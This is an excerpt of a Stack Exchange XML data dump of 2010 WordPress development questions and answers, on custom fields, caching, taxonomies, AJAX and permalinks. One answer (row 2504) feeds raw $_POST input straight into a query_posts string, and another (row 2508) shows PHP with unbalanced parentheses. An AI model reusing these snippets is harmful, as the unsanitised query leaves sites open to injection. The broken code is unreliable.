http://yoursite.com/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Iy6qp.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-10-03T06:08:24.113" CommentCount="2" />
  <row Id="2503" PostTypeId="2" ParentId="2441" CreationDate="2010-10-03T07:04:09.523" Score="1" ViewCount="" Body="&lt;p&gt;This will do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function edit_screen_title() {&#xA;    global $post, $title, $action, $current_screen;&#xA;&#xA;    if( isset( $current_screen-&amp;gt;post_type ) &amp;amp;&amp;amp; $current_screen-&amp;gt;post_type == 'post' &amp;amp;&amp;amp; $action == 'edit' )&#xA;        $title = 'Edit ' . $post-&amp;gt;post_title;&#xA;}&#xA;&#xA;add_action( 'admin_head', 'edit_screen_title' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-03T07:04:09.523" CommentCount="2" />
  <row Id="2504" PostTypeId="2" ParentId="2423" CreationDate="2010-10-03T07:17:12.580" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;display custom fields in columns and rows: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;get_post_meta&lt;/a&gt; to display them in your theme, and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;add_meta_box&lt;/a&gt; to customize the admin&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Expose filters, that is, create drop-downs at the top, to allow the end user to select:&#xA;you may want to use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;custom fields parameters of query_posts&lt;/a&gt;. E.g.:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Dropdown field in a form at the top:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;custom_field&quot; id=&quot;custom_field&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;value1&quot;&amp;gt;Value 1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;value2&quot;&amp;gt;Value 2&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Corresponding custom query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$value = $_POST['custom_field'];&#xA;query_posts(&quot;meta_key=custom_field&amp;amp;meta_value=$value&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may want to see &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;The Loop&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_posts&quot; rel=&quot;nofollow&quot;&gt;get_posts&lt;/a&gt; for reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-03T07:17:12.580" />
  <row Id="2505" PostTypeId="2" ParentId="2498" CreationDate="2010-10-03T07:51:09.283" Score="2" ViewCount="" Body="&lt;p&gt;Your webhost is the foundation upon which your site will be built. Just like you wouldn't want to build a house on mud, you shouldn't be looking at 'cheap hosting'&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2010-10-03T07:51:09.283" />
  <row Id="2506" PostTypeId="2" ParentId="1684" CreationDate="2010-10-03T08:01:17.100" Score="2" ViewCount="" Body="&lt;p&gt;This filter can be used to map meta capabilities for custom post types. There is a good code sample in this article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://justintadlock.com/archives/2010/07/10/meta-capabilities-for-custom-post-types&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2010/07/10/meta-capabilities-for-custom-post-types&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-03T08:01:17.100" />
  <row Id="2507" PostTypeId="2" ParentId="1619" CreationDate="2010-10-03T08:09:06.673" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/image-widget/&quot; rel=&quot;nofollow&quot;&gt;Image Widget&lt;/a&gt; plugin uses the media uploader. You may want to look at its code source. It is very simple.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-03T08:09:06.673" CommentCount="2" />
  <row Id="2508" PostTypeId="2" ParentId="2216" CreationDate="2010-10-03T09:35:56.463" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to handle this unique&#xA;  ordering for each term in the&#xA;  taxonomy?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can use custom fields to store the order of the players (e.g.: team_order, league_order, position_order). And dynamically modify the order in your index, archive or taxonomy template file (whatever you use):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( is_tax(array('team','league','position')) ) {&#xA;    if( is_tax('team') {&#xA;        $wp_query-&amp;gt;set('meta_key', 'team_order');&#xA;    } elseif( is_tax('league') {&#xA;        $wp_query-&amp;gt;set('meta_key', 'league_order');&#xA;    } elseif( is_tax('position') {&#xA;        $wp_query-&amp;gt;set('meta_key', 'position_order');&#xA;    }&#xA;    $wp_query-&amp;gt;set('orderby', 'meta_value');&#xA;    $wp_query-&amp;gt;get_posts();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Additionally, is there a way to add&#xA;  multiple custom fields for a taxonomy&#xA;  (ex: team, which contains a team name,&#xA;  logo, description, and coach)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No way, out of the box, You can store this in a custom post type or the options table.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-03T09:35:56.463" />
  <row Id="2510" PostTypeId="1" AcceptedAnswerId="2511" CreationDate="2010-10-03T10:01:19.973" Score="1" ViewCount="156" Body="&lt;p&gt;Or to make it easier: you just want to disable the caching in order to see your changes in realtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solution that would allow you to disable caching based on IP, logged user or cookie will be acceptable.&lt;/p&gt;&#xA;" OwnerUserId="944" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:39:47.953" LastActivityDate="2011-01-31T09:39:47.953" Title="How can you develop on a live WordPress installation that is using W3 Total Cache?" Tags="&lt;theme-development&gt;&lt;cache&gt;&lt;development&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="2" />
  <row Id="2511" PostTypeId="2" ParentId="2510" CreationDate="2010-10-03T10:16:15.113" Score="7" ViewCount="" Body="&lt;p&gt;It has this natively: &lt;em&gt;Performance &gt; Page Cache &gt; General &gt; Don't cache pages for logged in users&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always check if you are seeing cached page by looking at page source, W3 outputs status (commented out) at end of page.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-03T10:16:15.113" />
  <row Id="2512" PostTypeId="1" CreationDate="2010-10-03T12:27:42.877" Score="1" ViewCount="325" Body="&lt;p&gt;How do I get a comment form that is similar to the form for giving answers here on Stack Exchange?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the tinyMCEcomments and pretty comments plugins but they doesn't seem to work well with my setup (wordpress 3.0.1 and buddypress 1.2.5.2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know any similar plugins or how to change the theme to get this functionality?&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2010-10-03T17:00:41.517" Title="wysiwyg comment form like Stack Exchange/Stack Overflow" Tags="&lt;comments&gt;&lt;tinymce&gt;&lt;wysiwyg&gt;" AnswerCount="1" />
  <row Id="2513" PostTypeId="2" ParentId="2512" CreationDate="2010-10-03T12:49:56.147" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/ckeditor-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;CKEditor For WordPress&lt;/a&gt; is a great one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;a href=&quot;http://wordpress.org/extend/plugins/bp-tinymce/&quot; rel=&quot;nofollow&quot;&gt;BP-TinyMCE&lt;/a&gt; adds WYSIWYG to all the BuddyPress textareas (you will need to apply &lt;a href=&quot;http://wordpress.org/support/topic/plugin-bp-tinymce-buddypress-12x-fix&quot; rel=&quot;nofollow&quot;&gt;a fix&lt;/a&gt; to make it work with the latest version of WordPress and BuddyPress).&lt;/p&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-10-03T13:39:49.880" LastActivityDate="2010-10-03T13:39:49.880" />
  <row Id="2514" PostTypeId="2" ParentId="2480" CreationDate="2010-10-03T12:59:56.807" Score="0" ViewCount="" Body="&lt;p&gt;use &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;wp_list_categories&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_archives&quot; rel=&quot;nofollow&quot;&gt;wp_get_archives&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1121" LastActivityDate="2010-10-03T12:59:56.807" CommentCount="2" />
  <row Id="2515" PostTypeId="1" AcceptedAnswerId="2516" CreationDate="2010-10-03T13:07:46.587" Score="0" ViewCount="74" Body="&lt;p&gt;I'm trying to add a custom taxonomy.&#xA;using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function cities_custom_taxonomies() {&#xA;    register_taxonomy(&#xA;        'city', // internal name = machine-readable taxonomy name&#xA;        'post', // object type = post, page, link, or custom post-type&#xA;        array(&#xA;            'hierarchical' =&amp;gt; false, // true for hierarchical like cats, false for flat like tags&#xA;            'label' =&amp;gt; 'City', // the human-readable taxonomy name&#xA;            'query_var' =&amp;gt; true, // enable taxonomy-specific querying&#xA;            'rewrite' =&amp;gt; true // pretty permalinks for your taxonomy?&#xA;        )&#xA;    );&#xA;}&#xA;add_action('init', 'cities_custom_taxonomies', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As long as I use label name in English, all works fine. Once I try to label it in Hebrew, I don't see the new taxonomy menu.&#xA;any Idea ?&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-10-03T13:38:40.240" Title="custom taxonomies label in hebrew" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="2516" PostTypeId="2" ParentId="2515" CreationDate="2010-10-03T13:38:40.240" Score="1" ViewCount="" Body="&lt;p&gt;You can just wrap the english label name with the translation function &lt;code&gt;__( 'City', 'textdomain' )&lt;/code&gt;, and put the hebrew version in your translation file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://codex.wordpress.org/I18n_for_WordPress_Developers&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/I18n_for_WordPress_Developers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-03T13:38:40.240" />
  <row Id="2517" PostTypeId="1" CreationDate="2010-10-03T14:46:08.687" Score="1" ViewCount="207" Body="&lt;p&gt;When I try the test ClouldFront upload I do get &lt;code&gt;Error: Unable to list buckets ().&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reference I found was this thread &lt;a href=&quot;http://wordpress.org/support/topic/plugin-w3-total-cache-error-unable-to-list-buckets?replies=15&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/plugin-w3-total-cache-error-unable-to-list-buckets?replies=15&lt;/a&gt; but this did not solve my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the time issue:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;server now using &lt;code&gt;ntp&lt;/code&gt; to update time&lt;/li&gt;&#xA;&lt;li&gt;timezone of the server is the same as the one configured in &lt;code&gt;php.ini&lt;/code&gt; and in &lt;code&gt;Wordpress&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="944" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:39:32.087" LastActivityDate="2011-01-31T09:39:32.087" Title="Unable to list buckets error with W3 Total Cache and Amazon CloudFront CDN?" Tags="&lt;errors&gt;&lt;plugin-w3-total-cache&gt;&lt;cdn&gt;&lt;timezones&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="2518" PostTypeId="2" ParentId="2510" CreationDate="2010-10-03T14:52:48.530" Score="2" ViewCount="" Body="&lt;p&gt;Also, I would recommend &lt;strong&gt;&lt;em&gt;against&lt;/em&gt;&lt;/strong&gt; developing on a live site.  Do all of your development on a private (i.e. local) installation of WordPress, then update your live installation and purge the cache.  Developing on a live site runs the risk of breaking something for users &lt;em&gt;while they're using the site!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-03T14:52:48.530" CommentCount="2" />
  <row Id="2520" PostTypeId="2" ParentId="2498" CreationDate="2010-10-03T17:41:42.937" Score="0" ViewCount="" Body="&lt;p&gt;When shopping for hosting don't let price fool you. Always keep in mind you get what you pay for. We run our entire network of WordPress sites on a combination of Rackspace Cloud Sites and are now migrating to a custom built server on Rackspace Cloud Servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've also had good experience with MediaTemple (clients) and Dreamhost (our client test server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just don't use GoDaddy if you are serious about your site.&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2010-10-03T17:41:42.937" />
  <row Id="2521" PostTypeId="1" CreationDate="2010-10-04T00:16:01.913" Score="5" ViewCount="651" Body="&lt;p&gt;I have a client who wants to be able to share his latest blog posts on Facebook (no problem there) but then he wants the comments made on his Facebook page to that share shown on his blog as part of the comments on the blog post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been digging around and while I can find ways to let users comment on your blog using Facebook's api (http://developers.facebook.com/blog/post/198) I can find nothing that pulls comments from Facebook to display on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest I could come is this &lt;a href=&quot;http://wordpress.org/extend/plugins/facebook-comments/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/facebook-comments/&lt;/a&gt; which according to its developer is broken and can only be fixed by 'screen scraping' Facebook which, of course, is against Facebooks TOS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if there is a working plugin, or a relatively simple method to get this done?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2011-07-24T15:26:16.560" Title="Is it possible to pull comments from facebook into your blog?" Tags="&lt;comments&gt;&lt;facebook&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="2522" PostTypeId="1" AcceptedAnswerId="2527" CreationDate="2010-10-04T00:39:28.010" Score="1" ViewCount="1041" Body="&lt;p&gt;Use case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type of 'show' for a music venue. In the sidebar we want to display any related 'show' to the current one on single-show.php. They will be related by a custom taxonomy of 'genre'.  I figured I could dump the custom taxonomy slugs for a post (might be more than one) into a variable then pass that variable into a custom query for the sidebar post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using get_the_term_list() works if there is a single taxonomy but if there are multiple it breaks (of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how to get an array of the custom taxonomy slugs for a give post into a variable?&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-10-26T21:30:12.367" Title="Get the 'slug' of a custom taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;" AnswerCount="2" />
  <row Id="2523" PostTypeId="2" ParentId="2498" CreationDate="2010-10-04T01:08:22.477" Score="0" ViewCount="" Body="&lt;p&gt;Agreed that shared hosting is the kiss of death for Wordpress sites. You should never run a WP site on any cheap hosting package. I've moved 5 clients off GoDaddy shared hosting already and am migrating all my clients to MediaTemple.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-04T01:08:22.477" />
  <row Id="2524" PostTypeId="1" AcceptedAnswerId="2526" CreationDate="2010-10-04T01:12:21.960" Score="0" ViewCount="350" Body="&lt;p&gt;I'm writing a plugin that uses Ajax (jQuery with form plugin) via a form submission and the php function returns a JSON response.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_ajax_bubbly-upload', 'bubbly_upload_submit' );&#xA;&#xA;function bubbly_upload_submit() {&#xA;    // generate the response&#xA;    $response = json_encode( array( 'success' =&amp;gt; true ) );&#xA;&#xA;    // response output&#xA;    header( &quot;Content-Type: application/json&quot; );&#xA;    echo $response;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Firefox, none of the jQuery response handlers were firing and the save file dialog was opening with the JSON response. I wouldn't have the issue if I returned HTML. However, in either case, a '0' was appended on to the end of my response. After some digging, it looks like jQuery will not trigger a handler if the JSON reponse is invalid. This '0' being added onto the end is causing the JSON to be invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I look into the &lt;code&gt;admin-ajax.php&lt;/code&gt; code, I see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;default :&#xA;    do_action( 'wp_ajax_' . $_POST['action'] );&#xA;    die('0');&#xA;    break;&#xA;endswitch;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://us.php.net/manual/en/function.exit.php&quot; rel=&quot;nofollow&quot;&gt;php docs for die&lt;/a&gt; say that if the parameter passed is a string, then it will be printed just before exiting, if it is an integer, it will not be printed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without hacking the core, is there a way I can avoid this issue and still use JSON? Also, is this a bug, because I don't see how adding a zero to the end of every AJAX response would be desired...&lt;/p&gt;&#xA;" OwnerUserId="300" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-03T18:18:55.973" LastActivityDate="2011-01-03T18:18:55.973" Title="Admin-ajax.php appending a status code to ajax response" Tags="&lt;plugin-development&gt;&lt;php&gt;&lt;jquery&gt;&lt;ajax&gt;" AnswerCount="1" />
  <row Id="2525" PostTypeId="2" ParentId="2521" CreationDate="2010-10-04T01:40:25.827" Score="2" ViewCount="" Body="&lt;p&gt;You can use, &lt;a href=&quot;http://wordpress.org/extend/plugins/wordbooker/&quot; rel=&quot;nofollow&quot;&gt;WordBooker&lt;/a&gt;, &lt;a href=&quot;http://wordpress.org/extend/plugins/wpbook/&quot; rel=&quot;nofollow&quot;&gt;WPBook&lt;/a&gt; or &lt;a href=&quot;http://wordpress.org/extend/plugins/facebook-commentstng/&quot; rel=&quot;nofollow&quot;&gt;Facebook CommentsTNG&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-10-05T06:41:44.897" LastActivityDate="2010-10-05T06:41:44.897" CommentCount="5" />
  <row Id="2526" PostTypeId="2" ParentId="2524" CreationDate="2010-10-04T01:46:38.997" Score="1" ViewCount="" Body="&lt;p&gt;Put the &lt;code&gt;die();&lt;/code&gt; in your function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_ajax_bubbly-upload', 'bubbly_upload_submit' );&#xA;&#xA;function bubbly_upload_submit() {&#xA;    // generate the response&#xA;    $response = json_encode( array( 'success' =&amp;gt; true ) );&#xA;&#xA;    // response output&#xA;    header( &quot;Content-Type: application/json&quot; );&#xA;    echo $response;&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;WordPress Codex, AJAX in Plugins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-04T01:46:38.997" CommentCount="2" />
  <row Id="2527" PostTypeId="2" ParentId="2522" CreationDate="2010-10-04T01:58:40.720" Score="3" ViewCount="" Body="&lt;p&gt;You can do something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_the_terms( $post-&amp;gt;id, 'genre' ); // get an array of all the terms as objects.&#xA;&#xA;$terms_slugs = array();&#xA;&#xA;foreach( $terms as $term ) {&#xA;    $terms_slugs[] = $term-&amp;gt;slug; // save the slugs in an array&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-04T01:58:40.720" CommentCount="3" />
  <row Id="2528" PostTypeId="2" ParentId="2475" CreationDate="2010-10-04T02:16:35.033" Score="1" ViewCount="" Body="&lt;p&gt;Since WordPress 3.0 there has been a custom menu feature, does that fit your needs? Or something in it that doesn't fit your needs? See &lt;a href=&quot;http://codex.wordpress.org/Appearance_Menus_SubPanel&quot; rel=&quot;nofollow&quot;&gt;Appearance Menus SubPanel&lt;/a&gt; in the WordPress codex&lt;/p&gt;&#xA;" OwnerUserId="1078" LastActivityDate="2010-10-04T02:16:35.033" CommentCount="2" />
  <row Id="2529" PostTypeId="1" AcceptedAnswerId="2532" CreationDate="2010-10-04T03:02:05.600" Score="0" ViewCount="647" Body="&lt;p&gt;I've got a custom template page called &lt;code&gt;'shop'&lt;/code&gt;, which is found at the URL &lt;code&gt;http://mysite.com/shop/&lt;/code&gt;. This page lays out all the posts of post_type &lt;code&gt;'product'&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;product&quot;&amp;gt;  &#xA;&amp;lt;a name=&quot;product-name&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;img src=&quot;path/to/image.jpg&quot; /&amp;gt;  &#xA;&amp;lt;h4&amp;gt;Product name&amp;lt;/h4&amp;gt;`  &#xA;&amp;lt;p&amp;gt;A description of the product.&amp;lt;/p&amp;gt;  &#xA;&amp;lt;/div&amp;gt;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On another page, I've got a link like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/shop#product-name&quot;&amp;gt;Buy this product!&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want that link to go to the &lt;code&gt;/shop&lt;/code&gt; page, then scroll down to position the page right at the anchor link for this product. But it seems like WordPress' &lt;em&gt;'pretty permalinks'&lt;/em&gt; redirection is getting in the way: as soon as it switches to the &lt;code&gt;/shop#product-name&lt;/code&gt; page, the URL gets rewritten to &lt;code&gt;/shop/&lt;/code&gt; and the browser leaves the page scrolled at the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;.htaccess&lt;/code&gt; file is exactly what WordPress generated: it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help in getting these anchor links to work properly would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator Note:&lt;/strong&gt; Title was originally &quot;My permalinks setup doesn't like anchor links to another page.&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="355" LastEditorUserId="355" LastEditorDisplayName="" LastEditDate="2010-10-04T13:19:38.570" LastActivityDate="2010-10-04T13:19:38.570" Title="How can I make internal anchor links work with WordPress's permalinks?" Tags="&lt;permalinks&gt;&lt;redirect&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="2530" PostTypeId="2" ParentId="2476" CreationDate="2010-10-04T05:13:26.470" Score="6" ViewCount="" Body="&lt;p&gt;The short version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Figure out how much it costs you to eat, go to movies, pay utilities, pay taxes, etc., &lt;em&gt;each month&lt;/em&gt;.  Divide that by the number of working hours in a month.  Congratulations, that's your minimum hourly rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get the specs in writing, as detailed as possible.  Then figure out how long it will take you to develop, test, and implement the plugin as per the specs.  Multiply the number of hours the project will take you times the money you need to live.  That's how much you need to charge for your project.  At minimum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get the specs in writing, and don't deviate from them unless your time suddenly is no longer valuable to you or you decide you don't need to eat.  Put in writing that deviations from the specs (feature creep) will cost $X per hour additional, where $X is your hourly rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that if you're freelancing for a living, you will not have work 100% of the time, so your hourly rate will need to encompass the amount of time it takes you to find more work and close a sale.  So if you're doing this for a living, go back to the first paragraph and add in the average amount of time it will take you to find work and close a contract, then add that to your hourly rate.  That's why many freelancers and contractors will charge less for regular clients or for retainers; they can afford to because they don't have to spend extra time finding the work and negotiating the fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that there are other people who will charge less than you.  If you enjoy your current standard of living, do not compete on price, compete on quality and reputation.  So let other people charge less, and make sure your work is good and that you meet deadlines.  &lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-10-04T05:13:26.470" />
  <row Id="2531" PostTypeId="2" ParentId="2477" CreationDate="2010-10-04T05:20:58.960" Score="2" ViewCount="" Body="&lt;p&gt;Thomas McDonald is pretty much right on track.  Just wanted to add that if you're going to use EC2 to scale your sites as you need more servers, then you will need to contend with the fact that you will have multiple instances of your site out there with no common shared volumes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, let's say you have 2 EC2 instances up -- each one is completely separate from the other, so what happens when a user uploads an image?  That image only exists on one server and not the other.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To combat this, you'll want to use something like S3 with Cloudfront or a some other type of CDN.  Then something like W3 Total Cache, which will propagate your uploads to the CDN.  Then when an image is shown in your theme the image URL will be automatically rewritten to the CDN source URL by W3 Total Cache and, despite that image not existing on the local server, it will still be visible to visitors.&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-10-04T05:20:58.960" CommentCount="1" />
  <row Id="2532" PostTypeId="2" ParentId="2529" CreationDate="2010-10-04T07:14:03.390" Score="2" ViewCount="" Body="&lt;p&gt;Dumb question, but had you tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/shop/#product-name&quot;&amp;gt;Buy this product!&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-04T07:14:03.390" CommentCount="2" />
  <row Id="2533" PostTypeId="2" ParentId="2529" CreationDate="2010-10-04T07:21:46.040" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Gabriel Roth&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any chance you can just code it like this? &lt;em&gt;(note the trailing slash after &lt;code&gt;/shop&lt;/code&gt;)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/shop/#product-name&quot;&amp;gt;Buy this product!&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course if you must have it without a trailing slash I think this will do what you need although I can't fully test for your use-case, you'll have to try it. You copy this code into a plugin or more easily, your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('user_trailingslashit', 'no_trailing_slash_on_shop');&#xA;function no_trailing_slash_on_shop($url_path) {&#xA;  if ($url_path=='/shop/')&#xA;    $url_path = '/shop';&#xA;  return $url_path;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-04T07:21:46.040" />
